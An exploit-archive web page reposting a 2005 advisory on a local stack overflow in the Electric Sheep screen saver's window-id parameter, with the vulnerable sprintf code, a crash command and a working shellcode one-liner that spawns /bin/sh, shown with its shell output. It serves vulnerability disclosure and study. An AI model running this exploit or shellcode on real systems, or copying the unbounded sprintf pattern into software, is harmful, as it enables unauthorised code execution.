首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Electric Sheep Window-Id Local Stack Overflow
来源:www.vfocus.net 作者:Michael 发布时间:2005-12-27  

Electric Sheep Window-Id Local Stack Overflow

Summary
"Electric Sheep is a free, open source screen saver run by thousands of people all over the world. It can be installed on any ordinary PC or Mac."

Electric Sheep does not perform proper bounds checking on the window_id command line parameter, allowing a malicious attacker to run arbitrary code on the vulnerable machine with the permissions of the running user.

Credit:
The information has been provided by Michael Aiello and Daniel Guido.

Details
Vulnerable Systems:
* Electric Sheep version 2.6.3

Vulnerable Code:
From file electricsheep.c

419:
default_background(char *more) {
char ob[MAXBUF];
char pbuf[MAXBUF];
char qbuf[MAXBUF];

if (nobg || (!on_root && !window_id)) return;
if (more)
sprintf(ob, "-merge -at 500,0 s.tif",
splash_prefix, more);
else
ob[0] = 0;

if (window_id)
sprintf(qbuf, "-windowid %s", window_id); //no bounds checking on qbuf

Because window_id comes directly from the command line, a malicious user has the potential to supply a window_id larger than MAXBUF and corrupt surrounding memory. The vulnerability can be seen by executing the following command.
electricsheep -window-id `perl -e '{print "A"x"40000";}'`

Bad integer argument for the windowid option Usage: xsetbg [global options] {[image options] image_name ...}
Type `xsetbg -help [option ...]' for information on a particular option, or `xsetbg -help' to enter the interactive help facility.
subprocess failure: splash0, 256=1<<8+0
Segmentation fault

Exploit Code:
An exploit spawing /bin/sh on SUSE Linux

narain@(none):~/electricsheep-2.6.3> electricsheep -window-id `perl -
e '{print "\x90"x"200"; print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; print "B"x"532";print
"\x80\xc4\xfd\xbf"; print "C"x"39219";}'`

Bad integer argument for the windowid option

Usage: xsetbg [global options] {[image options] image_name ...}

Type `xsetbg -help [option ...]' for information on a particular option, or `xsetbg -help' to enter the interactive help facility.
subprocess failure: splash0, 256=1<<8+0
sh-3.00$ whoami
narain
sh-3.00$

This local exploit to the sheep client does not pose a significant threat as electric sheep does not setuid(0). However, local exploits may be used as mechanisms for subvert command execution once a system has been compromised or used to create backdoors

This vulnerability was discovered during coursework performed for "Penetration Testing & Vulnerability Analysis" offered at Polytechnic University (http://www.poly.edu) during the Fall 2005 semester.



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PlanetFileServer DoS
·Advanced Guestbook version 2.2
·Microsoft IIS Malformed URI Do
·Microsoft Windows / Internet E
·Microsoft IIS Malformed URI Do
·Dev web management system <
·phpBB <= 2.0.17 signature_b
·mIRC exploit for versions 6.16
·Veritas Storage Foundation VCS
·PHPGedView <= 3.3.7 Arbitra
·PHP-Fusion 6.x rating Paramete
·MailEnable ENTERPRISE IMAP EXA
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved